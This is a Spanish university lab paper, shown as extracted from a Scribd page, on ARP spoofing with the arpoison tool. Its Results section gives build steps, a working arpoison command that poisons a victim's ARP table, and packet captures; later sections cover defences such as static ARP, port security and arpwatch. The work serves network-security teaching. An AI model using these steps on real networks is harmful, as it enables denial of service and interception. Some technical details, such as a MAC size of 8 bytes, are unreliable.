0% encontró este documento útil (0 votos)
157 vistas6 páginas

Arpoison: Suplantación de MAC en ARP

Este documento describe el protocolo ARP y cómo puede ser explotado para realizar ataques de spoofing de direcciones MAC. Explica que ARP mapea direcciones IP a direcciones MAC para permitir la comunicación entre dispositivos en una red. Sin embargo, ARP no autentica las respuestas, lo que permite que un atacante envíe respuestas falsas e impersone otras máquinas, interceptando así el tráfico. Además, introduce la herramienta Arpoison para ilustrar este tipo de ataque.

Cargado por

Juan Porto
Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
157 vistas6 páginas

Arpoison: Suplantación de MAC en ARP

Este documento describe el protocolo ARP y cómo puede ser explotado para realizar ataques de spoofing de direcciones MAC. Explica que ARP mapea direcciones IP a direcciones MAC para permitir la comunicación entre dispositivos en una red. Sin embargo, ARP no autentica las respuestas, lo que permite que un atacante envíe respuestas falsas e impersone otras máquinas, interceptando así el tráfico. Además, introduce la herramienta Arpoison para ilustrar este tipo de ataque.

Cargado por

Juan Porto
Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

1

Principios Básicos de ARP Spoofing: Arpoison,


un primer paso para la incomunicación del
servicio.
G. A. Pulido; M. Niño; D. Lizarazo; G. Peñuela; L. Varela. Universidad de los Andes.

Resumen—La suplantación de dirección MAC mediante el También se debe anotar el uso de una tabla (o caché) para
ARP spoofing es una gran preocupación para la comunidad en mantener las últimas direcciones usadas por el computador,
general. Se plantea una herramienta para ilustrar esta esta tabla es actualizada a ciertos intervalos de tiempo que
debilidad, Arpoison y se concluye que es necesario encontrar dependen del sistema operativo, o cuando la dirección
mecanismos para evitar la alteración de las tablas ARP con requerida no se encuentra en la tabla, en este caso se envía un
base en los sistemas operativos. “broadcast” 3 en la red con un formato de ARP request 1, que
básicamente pregunta a todas las máquinas en el segmento si
Palabras claves—ARP, spoofing suplantación, MAC, man-in- su IP corresponde a la especificada en la petición. La
the-middle, Arpoison.
máquina que concuerda debe responder con un ARP reply 2 al
computador que hizo la solicitud. [1] Dicha respuesta incluirá
la dirección física del hardware e información sobre el
I. INTRODUCCI ÓN enrutamiento (esto si el paquete ha pasado por diferentes

P ara entender todos los aspectos de este documento es


necesario tener al menos un conocimiento general del
protocolo ARP, se hará entonces una explicación general del
máquinas entre el origen y el destino), esta dirección y la ruta
son almacenadas en la caché del host solicitante. De allí en
adelante todos los paquetes enviados a la IP se asocian con la
funcionamiento de ARP para ver sus susceptibilidades y dirección física que aparece en el caché [5, 9].
entender la teoría de los ataques más comunes en este nivel.
ARP fue diseñado para ser usado en redes que soporten
En una red que sólo tuviera el nivel Físico del modelo OSI, broadcast 4 y debe estar muy relacionado con el manejador
los dispositivos sólo se conocerían entre sí por medio de su del dispositivo de red, por lo que en las especificaciones de
dirección física y dicha dirección tiene que ser única para ARP no se habla de su implantación, sólo se habla de las
evitar errores de envío. Pero como los protocolos de alto funciones esperadas del protocolo [7,9].
nivel direccionan las máquinas con direcciones simbólicas
(como en IP) tiene que existir un medio para relacionar las Cuando una aplicación quiere enviar datos a una dirección IP
direcciones físicas con las simbólicas, un traductor o destino el mecanismo de enrutamiento determina cuál es la
manejador de direcciones [4]. Así tenemos la aparición de un dirección IP del siguiente salto, que puede ser el destino u
modulo ARP que, dándole una dirección IP, retornará una otro punto intermedio, en este punto el módulo ARP debe
dirección física. El protocolo ARP se encuentra en el nivel de revisar la tabla en búsqueda de la pareja dirección IP /
enlace del modelo OSI, y dicho nivel se encarga de dirección MAC requerida. En caso de encontrarlo retorna la
identificar la conexión física de una máquina para lo cual se dirección MAC correspondiente (de tamaño 8 bytes), en caso
usan las direcciones físicas de cada dispositivo que son contrario genera un broadcast con un ARP request [1].
únicas, aunque como se explicará más adelante, pueden ser
alteradas permitiendo suplantaciones en las comunicaciones La forma en que reacciona una máquina cuando recibe un
[3]. paquete ARP se describe en diagrama de flujo del anexo 1.

Manuscrito aplicado el 9 de Septiembre , 2003. Este trabajo fue realizado Si se analiza la descripción hecha del funcionamiento de
gracias al apoyo financiero e incondicional de nuestros respectivos padres. ARP, se puede ver que el protocolo tiene comportamientos
G.A. Pulido es ingeniero mecánico de la Universidad de los Andes,
ingeniero de sistemas certificado por Microsoft y cursa actualmente 9o que pueden ser explotados por personas con suficiente
semestre de Ing. de Sistemas, en la Universidad de los Andes, teléfono: conocimiento del mismo. Por ejemplo, cuando se hace
3394949 e-mail: g-pulido@ uniandes.edu.co. broadcast se abre la posibilidad de que alguna máquina con
M. Niño es candidato a título de biologo de la Universidad de los Andes, y
cursa actualmente 11o semestre de Ing. de Sistemas, en la Universidad de los
3
Andes teléfono: 3394949 e-mail: [email protected].
D. Lizarazo cursa actualmente 10o semestre de Ing. de Sistemas, en la 1
ARP Requests: Es un requerimiento para la dirección hardware
Universidad de los Andes teléfono: 3394949 e-mail: d- de destino. Es típicamente enviado a todos los host.
[email protected].
L. Varela cursa actualmente 10o semestre de Ing. de Sistemas, en la 2
ARP Reply: En respuesta al requerimiento esta indica al host la
Universidad de los Andes teléfono: 3394949 e-mail: l-
[email protected]. dirección hardware del destino host
G. Peñuela cursa actualmente 10o semestre de Ing. de Sistemas, en la 43
Universidad de los Andes teléfono: 3394949 e-mail: go- Broadcast: Divulgación o difusión de un mensaje a todos los
[email protected]. miembros de una red
2

tarjeta de red en modo promiscuo 5 capte paquetes que están tabla se reconstruye, lo mismo sucede cuando se envían los
dirigidos a otras máquinas, o que se envíen paquetes ARP ARP reply.
mal formados (que se explicará más adelante) que el
protocolo no comprueba, o también se puede aprovechar el Cuando el switch recibe un paquete, éste sólo leerá el
hecho de que el protocolo recibe paquetes incluso si la encabezado 802.3 o el Ethernet, como ya se especificó que
máquina no los necesita, con lo que se refresca la tabla con ocurre en un switch de nivel 2. Así la dirección MAC de
los nuevos datos recibidos, y estos datos pueden ser erróneos destino se comparará con la tabla local de ARP encontrando
o alterados a propósito. la dirección buscada. Suponiendo que el destinatario IP es
169.254.0.1, la fuente IP es 169.254.0.2 y tanto el
Debido a las falencias descritas anteriormente del protocolo destinatario como la fuente MAC son ABCDEF000001 y
ARP, si se altera un paquete usado en la comunicación entre ABCDEF000002 respectivamente, entonces el host detrás del
dos máquinas se podría suplantar la dirección MAC de una puerto 1 es el destino y el switch envía el paquete al host 1.
de ellas, realizando el ataque conocido como “Man in the
Middle” [6,2,4] o se podría dejar a una de las máquinas por El paquete no pasará sobre la interfaz de red en el host 3. Así
fuera de la “conversación” ya que el otro computador tendría se deduce porqué un sniffer no sería de mucha utilidad, ya
una dirección errada a la cual enviar todos los paquetes y que, aunque su aparato de red este en modo promiscuo, éste
éstos nunca llegarían a su verdadero destino. no podrá interceptar paquetes destinados para su vecino.
A continuación se explicará un escenario en el cual se podrá
analizar porqué no se pueden interceptar los paquetes en un Continuando con el ejemplo, se pretende enmascarar
segmento basado en un switch [5]. múltiples direcciones MAC en el puerto 3 del switch, para
este caso se busca enmascarar una dirección MAC extra en
En primer lugar hay tres hosts, el host 1 tiene como sistema dicho puerto. Entonces la tabla MAC del host "detrás" del
operativo Unix, con un demonio 6 FTP; el host 2 es la puerto 3 se vería así:
estación de trabajo del administrador de la red y el host 3 es ABCDEF000003 & ABCDEF000001
su computador. Estos host están conectados a través de un para que cuando el host 2 envíe un paquete al host 1, el
switch de nivel 27 como lo muestra la siguiente tabla. switch encuentre dos ocurrencias de la dirección MAC
destino, logrando el cometido de recibir al igual que el host 1
Hosts Puerto(en MAC IP el paquete destinado únicamente a este último [5].
el switch)
Host 1 Puerto 1 ABCDEF000001 169.254.0.1 Esto parece muy fácil, pero tiene muchas complicaciones,
Host 2 Puerto 2 ABCDEF000002 169.254.0.2
Host 3 Puerto 3 ABCDEF000003 169.254.0.3
una de ellas es que algunos switches se actualizan cada 30
segundos de la manera indicada antes, enviando ARP
En este caso vamos a suponer que el kernel del host (núcleo requests a todos los hosts que están físicamente conectados a
del sistema operativo del servidor) 2 está construyendo un éste, en otros casos sucede que no se permite asignar más de
paquete y el destino será el host 1, éste se verá así: una dirección MAC a cada puerto, esto con la desventaja del
precio que piden por ellos [5], como pasa en los switches de
Encabezado TCP 3COM8.
Encabezado IP
Encabezado 802.3
Datagrama
II.METODOLOGÍA
Prot Ip IP MAC origen MAC destino
ocol origen destino A. Materiales.
o
Enc. X X X X • Máquina 1
TCP
Enc. 169.254. 169.254. X X
neptune.localdomain.local (atacante)
IP 0.2 0.1 Pentium 4 2.4GHz
Enc. X X ABCDEF000002 ABCDEF000001 512MB RAM
802.3
Datag X X X X 80GB Disco
rama Mandrake Linux 9.1
Tarjeta de red 100Mbit/s
Cuando el switch se inicia, construye una tabla de
direcciones MAC de todos los Hosts que están conectados a
• Máquina 2.
éste. Cada vez que se envían ARP requests sobre la red la
pluto.localdomain.local (víctima)
5
Promiscuo: Está escuchando todo el tráfico que pasa por la red 486 20MHz
a la cual está conectado 20MB RAM
348MB Disco
6
Demonio FTP: Programa que se dedica a escuchar peticiones Windows 95
ftp de la red.
87
7
La expresión "nivel 2" referencia a la capa de enlace de datos Empresa proveedora de hardware para redes,
del modelo OSI (Open System Interconnection.) http://www.3com.com
3

Tarjeta de red 10Mbit/s. make


cp arpoison /usr/local/bin
• Máquina 3.
mercury.localdomain.local (servidor) Ahora, ya se debe tener una instalación completa de
Pentium 133MHz arpoison. Para probarlo, se ingresa el comando arpoison y se
32MB RAM da ENTER.
Debe aparecer lo siguiente:
9GB Disco
Solaris 8
[root@neptune root]# arpoison
Tarjeta de red 10Mbit/s Usage: -i <device> -d <dest IP> -s <src IP> -t <target MAC>
B. Preparación del Ataque. -r <src MAC> [-a] [-w time between packets] [-n number to
Primero, aprendemos a utilizar send]
Preparación del Ataque. [root@neptune root]#
Primero, a partir de una investigación exhaustiva se encontró
que lo adecuado para el ataque que se deseaba simular era Ya tenemos lista y funcionando la herramienta con que se va
una herramienta llamada arpoison [2], la cual permite a realizar el ataque. Sólo necesitamos la información
generar paquetes ARP utilizando los parámetros que se necesaria para llevarlo a cabo, lo cual es simple de obtener
deseen. Sin embargo, no permite manipular otro tipo de en este caso.
paquetes. Luego, se procedió a obtener la herramienta.

Arpoison: http://arpoison.sourceforge.net/ I. RESULTADOS

Y este software, a su vez, depende de una herramienta Primero, se determina la dirección MAC de la máquina que
llamada libnet para su correcto funcionamiento. se quiere atacar, para esto podemos hacer ping a ésta, y luego
utilizar el comando arp -a para ver la dirección MAC:
Libnet: http://www.packetfactory.net/libnet/
[root@neptune root]# ping 192.168.0.10
Luego, se procedió a compilar el código fuente de la PING 192.168.0.10 (192.168.0.10) 56(84) bytes of data.
herramienta. Para esto se ejecutan los siguientes comandos 9. 64 bytes from 192.168.0.10: icmp_seq=1 ttl=32 time=1.62
ms
# Copiar los archivos que se bajaron a un directorio 64 bytes from 192.168.0.10: icmp_seq=2 ttl=32 time=0.961
temporal: ms
cp arpoison-0.6.tar.gz /temp 64 bytes from 192.168.0.10: icmp_seq=3 ttl=32 time=0.953
cp libnet.tar.gz /temp ms

# Descomprimir los archivos que se bajaron, al directorio --- 192.168.0.10 ping statistics ---
temporal: 3 packets transmitted, 3 received, 0% packet loss, time
tar -zxvf libnet.tar.gz 2020ms
tar -zxvf arpoison-0.6.tar.gz rtt min/avg/max/mdev = 0.953/1.178/1.622/0.315 ms
[root@neptune root]# arp -a
# Cambiar al directorio de libnet: ? (192.168.0.10) at 00:A0:24:64:E8:C0 [ether] on eth0
cd Libnet-latest ? (192.168.0.10) at 00:A0:24:64:E8:C0 [ether] on eth0
[root@neptune root]#
# Compilar e instalar libnet:
./configure Otra posibilidad, quizás un poco menos elemental, es
make interpretar el tráfico del ping. Para todas las capturas de
make install (se debe tener permisos de root [8]) tráfico, utilizamos tcpdump, que es una herramienta
disponible para cualquier sistema operativo (UNIX o
# Cambiar al directorio de arpoison: windows)10.
cd ../arpoison

# Preparar arpoison para compilar: A. Captura de tráfico para ping


# Hay que editar el archivo Makefile de arpoison y agregar la
ruta completa al archivo libnet-config en # este archivo. En [root@neptune root]# tcpdump -x
nuestro caso, la ruta será “/temp/Libnet-latest/” la cual debe tcpdump: listening on eth0
ser colocada antes de cada # ocurrencia de libnet-config. 08:52:31.760238 arp who-has 192.168.0.10 tell
Luego, se guarda el archivo con estos cambios. neptune.localdomain.local
0001 0800 0604 0001 0007 e99f 09b4 c0a8
#Compilar e instalar arpoison: 0004 0000 0000 0000 c0a8 000a
08:52:31.760985 arp reply 192.168.0.10 is-at
9
Sólo se muestra el comando, no se muestra la salida de los mismos, ya 10
Aquí no describiremos su instalación, ya que comúnmente viene
que es bastante extensa, e irrelevante para el propósito de este texto. instalada
4

0:a0:24:64:e8:c0 0005 00a0 2464 e8c0 c0a8 000a


09:07:36.651266

El tráfico completo puede ser visto en el anexo No.2. Se ha El tráfico completo puede ser visto en el anexo No. 3.
resaltado la parte donde puede ser identificada la dirección
MAC de la máquina destino. El resto de la captura
C. Conclusión
corresponde a solicitudes ICMP y a respuestas ICMP
principalmente, ya que la captura corresponde a un ping.
Se realizó una captura completa de 4 paquetes enviados por
Ahora, ya se tiene toda la información que se necesita para arpoison, pero en el primero que se envía, se puede ver que
llevar a cabo la incomunicación de los dos sistemas (Se lleva es lo que realiza, vamos a analizarlo:
a cabo una incomunicación de un solo sentido, donde la 09:07:36.650287 arp reply 192.168.0.5 is-at aa:bb:cc:dd:ee:0
máquina atacada no puede conectar a la máquina que 0001 0800 0604 0002 aabb ccdd ee00 c0a8
especifiquemos, pero la comunicación en sentido inverso se 0005 00a0 2464 e8c0 c0a8 000a
lleva a cabo de manera exitosa).
El primer renglón, es solo la traducción que realiza tcpdump
B. Manejo de Arpoison. del paquete, y no se analizará. Lo interesante, es el volcado
Primero, aprendemos a utilizar la herramienta arpoison, lo hexadecimal que realiza. ¿Qué significa? es lo que veremos.
cual es bastante sencillo: Se va a analizar parte por parte:

[root@neptune root]# arpoison 0001: Tipo de dirección de hardware, 1 = Ethernet, 6 = IEEE


Usage: -i <device> -d <dest IP> -s <src IP> -t <target MAC> 802 LAN
-r <src MAC> [-a] [-w time between packets] [-n number to 0800: Tipo de dirección de protocolo, corresponde a Ipv4
send] 06: Longitud de las direcciones de hardware. El 6 representa
[root@neptune root]# el número de bytes necesarios para representarlas.
04: Corresponde al tipo de protocolo usado, Ipv4
donde: 0002: Identifica el tipo de operación que se realizara, 1 es
una solicitud, 2 es una respuesta.
<device> es el dispositivo de la tarjeta de red en el aabb ccdd ee00: Es la dirección de hardware que realiza la
computador atacante, para nuestro caso, eth0, pero esto varía solicitud (en este caso, fue la que falseamos, para que el
dependiendo el sistema operacional. ataque resulte)
<dest IP> es la dirección IP del sistema que queremos atacar, c0a8 0005: Corresponde a la IP que tiene la MAC
es fácilmente obtenible. especificada anteriormente. En este caso, toca convertirla de
<src IP> es el “origen” del paquete ARP, usualmente la hexadecimal:
máquina con la que queremos incomunicar a nuestra víctima c0 = 192, a8 = 168, 00 = 0, 05 = 5
<target MAC> es la dirección MAC de la víctima, obtenida 00a0 2464 e8c0: corresponde a la dirección de hardware de
en el paso anterior. la máquina objetivo, la que se desea actualizar
<src MAC> es la dirección MAC de la máquina remitente c0a8 000a: Corresponde a la dirección IP de la máquina
del mensaje. Usualmente, queremos poner aquí cualquier destino. Nuevamente, es necesario realizar la conversión de
MAC, excepto la MAC real del servidor, porque en este caso hexadecimal.
estaríamos generando un paquete válido ARP.
El resto de paquetes, corresponden a la operación normal de
A continuación llevaremos a cabo el ataque. Nótese que éste los protocolos, o a solicitudes iguales a la que se analizó
comando se puede efectuar desde una tercera máquina, que anteriormente.
no sea ni la víctima ni el servidor:

[root@neptune root]# arpoison -i eth0 -d 192.168.0.10 -s


192.168.0.5 -t 00:a0:24:64:e8:c0 -r aa:bb:cc:dd:ee:00 -w 2 II.DISCUSIÓN
ARP reply 1 sent via eth0
ARP reply 2 sent via eth0 Se pudo observar en el laboratorio de redes los efectos de la
ARP reply 3 sent via eth0
manipulación de paquetes Ethernet y la consiguiente
ARP reply 4 sent via eth0
suplantación de direcciones MAC usando el programa
[root@neptune root]# conocido como ARPoison. Los resultados se constataron en
la máquina 3 donde se alteró la tabla ARP. Antes del
Y a continuación se muestra la captura de tráfico experimento se hizo un ping a la máquina 2 y luego se revisó
correspondiente al comando anterior, realizada en la máquina la tabla ARP para obtener su dirección MAC que era
atacante: 00:C0:DF:22:20:C0, después de correr ARPoison se revisó de
[root@neptune root]# tcpdump -x nuevo la tabla ARP y para la dirección ip del computador 2
tcpdump: listening on eth0 aparecía una dirección MAC diferente
09:07:36.650287 arp reply 192.168.0.5 is-at aa:bb:cc:dd:ee:0 AA:BB:CC:DD:EE:ZZ que era la especificada por nosotros.
0001 0800 0604 0002 aabb ccdd ee00 c0a8 Como es evidente, era una dirección inválida, para
5

comprobar estas observaciones se hizo un nuevo ping desde cabo, y permiten afinar los métodos de búsqueda y detección
el computador 3 a la máquina 2, y como se esperaba esta usados.
última nunca contestó ya que la máquina 3 intentaba Debería ser claro en este punto que saber la dirección MAC
contactarse con una dirección inexistente, así en términos de cada maquina no debería dejarse a la configuración
prácticos la máquina 2 dejó de existir para la 3.” Por esto automática usada en un protocolo o instalación de un switch.
podemos concluir que una persona inescrupulosa podría A menos que se controle el proceso de ARP, “poisoning” y
potencialmente observar TODA comunicación no encriptada “sniffing” pueden ocurrir. La manifestación de este problema
que viaje por la red, utilizando una herramienta de fácil puede causar desde reducir el tiempo de respuesta en la red,
acceso y de todavía más sencillo manejo, generando un falla hasta el daño de todo el tráfico de red. Este problema puede
gigantesca en los niveles de seguridad de cualquier red. ser detectado únicamente a través de otro “sniffer” para ver
que es lo que esta pasando a nivel de MAC o mirando las
A. ¿Cómo evitarlo? tablas ARP en ambos lados, la maquina del cliente y la del
servidor.[14]
¿Estamos totalmente desprotegidos y en cualquier momento
nos pueden dejar incomunicados? En este punto es necesario identificar las direcciones MAC
de cada computador y cada “gateway” de la LAN. Correr un
Si existen maneras de evitar este ataque, pero casi nunca se ipconfig /all en Microsoft Windows NT mostrará la
implementan. Sin embargo, un análisis más profundo de la dirección MAC de la tarjeta Ethernet. También mostrará las
tecnología nos indica lo siguiente: ya que los ataques ARP se direcciones MAC de los adaptadores virtuales VPN, Sun
aprovechan de la falta de seguridad en un protocolo de bajo Solaris y Linux usan el comando ifconfig –a, mientras que
nivel y que es requerido por TCP/IP para funcionar, no se FreeBSD usa dmesg. Las máquinas Microsoft Windows 9x
puede corregir sin alterar el funcionamiento mismo de ARP, usan el comando winipcfg. [12,16,17]
lo cual no es una tarea sencilla si se tiene en cuenta que,
como se mencionó antes, hay diferentes implantaciones del Armado con la lista de direcciones MAC, el sistema puede
protocolo debido a su estrecha conexión con la máquina en la ahora ser asegurado. Es recomendable un script de login que
que corre. Pero si se puede prevenir, o al menos intentar, automatice el comando arp –s para guardar todos las IP de
usando alguna de las siguientes técnicas [10]. los hosts y sus direcciones MAC.[14]

-Si se quiere proteger una red pequeña se puede recurrir al Reemplazar tarjetas de red inconsistentes va a requerir
uso de direcciones IP estáticas y tablas ARP también cambios adicionales en cada host. Los sistemas tales como
estáticas. Usando comandos CLI, "ipconfig/all" en Windows impresoras no tendrán la capacidad de guardar una lista de
o "ifconfig" en sistemas Unix (Linux), [12,16,17] se puede direcciones MAC estáticas, la mayoría de los switches tienen
obtener las direcciones MAC de todos los dispositivos una opción de puerto de seguridad que permite únicamente
conectados a dicha red. Si se usa el comando "arp -s" se una dirección MAC por puerto(así reduciendo el “sniffing”).
pueden adicionar entradas estáticas para todos los SSH tiene una opción de StrictHostKeyChecking. Ésta opción
dispositivos conocidos. Usando estas entradas estáticas se especifica si SSH va a automáticamente agregar nuevas
evita que los intrusos alteren las tablas a su gusto pudiendo llaves de host a su archivo de hosts conocidos. Con esta
aprovechar todas las debilidades ya explicadas. Incluso se opción configurada a SI(YES), el computador atacante no
puede crear un script que llene estas entradas estáticas en los podrá “entrar en el medio” a menos que ya sea un host de
computadores cada vez que estos sean reiniciados [10, 13]. confianza(trusted host). [11,13,15]

El problema con esta solución es la gran dificultad para Teniendo un archivo de hosts estático y listando los nombres
mantener estas entradas ARP, y si se piensa en redes grandes DNS, también se reducirán los ataques basados en DNS, es
es casi imposible llevar a cabo esta labor, ya que cada vez recomendable usar ambos sistemas para alta seguridad. Hay
que un nuevo computador o máquina se conecte a la red se que tener en cuenta que algunas versiones de Microsoft
debe actualizar las entradas en el script que llena las tablas Windows aceptarán y usarán rutas dinámicas inclusive si las
ARP, o se debe adicionar manualmente a las tablas ARP de rutas estáticas han sido configuradas [17].
todas las demás máquinas en la red.[11]
Con los hosts ahora cerrados, es importante monitorear el
Para redes grandes se tendría que analizar las características tráfico ARP y DNS. Aunque la mayoría de IDS monitorean a
de "Port Security" de los switches, una de estas nivel de IP y no de ARP.
características permite forzar al switch a permitir sólo una
dirección MAC para cada puerto físico en el switch, lo cual La siguiente es una herramienta que puede ser usada para el
impide que alguien cambie la dirección MAC de su máquina monitoreo a nivel ARP:
o que trate de usar más de una dirección a la vez. Esto último
permite prevenir los ataques de Man-in-the-Midle.[10] ARPWATCH11
Arpwatch contiene 2 utilidades diseñadas para monitorear las
Para todas las redes la mejor defensa es entender los métodos tablas IP/MAC y enviar por mail cualquier cambio. Es una
y comportamientos de ARP poisoning y monitorear en busca pieza de software bastante simple, acá se encuentran algunos
de estos comportamientos sospechosos usando herramientas ejemplos de lo que se mostraría en el archivo
como ARPWatch, explicada a continuación, que alertan /var/log/messages.
cuando alguna comunicación ARP sospechosa es llevada a 11
http://www.redhat.com/swr/i386/arpwatch-2.1a4-29.i386.html
6

[2] Peiraki, C;Fogie, S. “The Ingredients to ARP Poison,” in governement


Sep 20 12:36:11 myhost arpwatch: new station Security.org.http://www.governmentsecurity.org/articles/TheIngredients
toARPPoison.php, October 18, 2002.
192.168.a.b 0:50:94:d7:ca:d5 [3] Whalen, S. “An introduction to ARP spoofing” 2600 magazine,
Sep 20 12:35:07 myhost arpwatch: changed http://www.node99.org/projects/arpspoof/.April, 2001
ethernet address 192.168.a.c [4] Gunnarson, Andreas “Security in IP Networks: A layered view of
security problemas and solutions” Carlstedt Research & Tecnhology.
0:10:a4:bf:b1:c9 (0:0:86:45:32:fa) May 2001.
La primera línea muestra una nueva combinación de [5] Data wizard, Altering ARP Tables (version 1.00) , The Nederlands.
direcciones IP/MAC, esto continuará para cada host en la 2001.http://packetstormsecurity.nl/papers/general/Altering_ARP_Tabl
LAN. La segunda línea muestra que la dirección MAC ha es_v_1.00.htm
cambiado para el host 192.168.a.c la nueva dirección MAC [6] Kasslin, K; Tikkanen, A. “Hijacking a Network Connection on a
es 0:10:a4:bf:b1:c9. La dirección anterior era Switched Network”www.hut.fi/~autikkan/kerberos/docs/phase1/
pdf/LATEST_hijacking_attack.pdf. May 2003.
0:0:86:45:32:fa. Esto debe causar que el administrador del [7] Forsberg, E. “Man in the Middle Attack against Microsoft Terminal
sistema pare y revise alguna información básica acerca del Services” in Cendio System www.cendio.se/files/mitm_en.pdf., April
host, Si es un servidor dedicado entonces la dirección no 2003.
debería cambiar sin cambiar el hardware. [8] R. García, Laboratorio de Sistemas distribuidos. Uniandes, comunicción
privada. Septiembre 2003.
[9] D. Plummer, et al. RFC 826, http://www.rfc-editor.org. November 1982.
Este host puede también estar usando DHCP. Si un host deja [10] C.Nachreiner, WatchGuard Network Security Analyst “Anatomy of an
la red y otro host usa su dirección IP, este cambio es ARP Poisoning Attack”
apropiado, no de otra manera. Al usar las direcciones http://www.watchguard.com/infocenter/editorial/135324.asp
[11] Hewes, Douglas “I Can See you Behind Layer 2… Overcoming the
hardware para identificar el vendedor, se puede encontrar que difficulties of Packet Capturing on a Switched Network” (14 September
el cambio de dirección MAC cambió de un Xircom a un 2000)http://www.sans.org/infosecFAQ/switchednet/layer2.htm
Gateway Communications. Esto también podría alertar [12] Watson, Keith and Noordergraaf, Alex “Solaris Operating Environment
acerca del hardware que esta fuera del inventario de nuestra Network Settings for Security” (December 2000)
http://www.sun.com/blueprints/1200/network-updt1.pdf
LAN. [13] Fermilab – Data Communications and Networking Group “How to find
your MAC address” (05 February 2001) http://www-dcn.fnal.gov/DCG-
Finalmente, se puede ser encriptar todo el tráfico de la red, lo Docs/mac/
[14] Mourani, Gerhard “Securing and Optimizing Linux: RedHat Edition – A
cual puede ser complicado, además que genera un trabajo Hands on Guide” (2000) http://www.linuxdoc.org/LDP/solrhe/Securing-
adicional de las máquinas para encriptar y desencriptar todo Optimizing-Linux-RH-Editionv1.3/chap15sec121.html
el tráfico [3]. [15] Roesch, Martin “Snort Users Manual, Snort Release: 1.8.1” (10 August
Otra manera de evitar este problema, es instalar un 2001)http://www.snort.org/docs/SnortUsersManual.pdf
[16] EcoPRO “Windows NT, PC Networking – Windows NT 4.0”
software que cumpla la función de un firewall de nivel 2 que (1999)http://www.ecoproimaging.com/nt_networking.htm
filtre el tráfico ARP. De nuevo, presenta los mismos [17] ARP table information for Windows NT Whalen, Sean “An Introduction
inconvenientes que las anteriores alternativas. to ARP Spoofing” (April,2001)
http://packetstormseurity.org/papers/protocols/intro_to_arp_spoofing.pd
f
Creemos firmemente que la solución debe venir
principalmente de los fabricantes de sistemas operativos,
quienes deben implementar procedimientos eficaces con los
cuales sea practicamente imposible alterar las tablas ARP,
sin que esto signifique una encripción o tenga un efecto
nocivo en la configuración de las redes, sobre todos las
DHCP .

De nuevo, se comprueba como la facilidad, confiabilidad y


operabilidad de los estándares de internet para la
comunicación por la red es a la vez la fuente de su peor
pesadilla. La seguridad es un compromiso constante entre
eficiencia, disponibilidad y a la vez, atención y cuidado
perenne que puede bien estar en los límites de la paranoia.

AGRADECIMIENTOS
Todos los autores agradecemos comedidamente a nuestros
familiares y compañeras sentimentales, por el apoyo en todo
momento, y a nuestro Profesor Jeimy Cano por su invaluable
aporte a nuestro crecimienco académico y profesional.

REFERENCIAS
[1] Wagner, R. “Address Resolution Protocol Spoofing and Man-in-the-
Middle Attacs:” in Practical Assignment GSEC Version 1.2 f
(amended August 13 2001.

También podría gustarte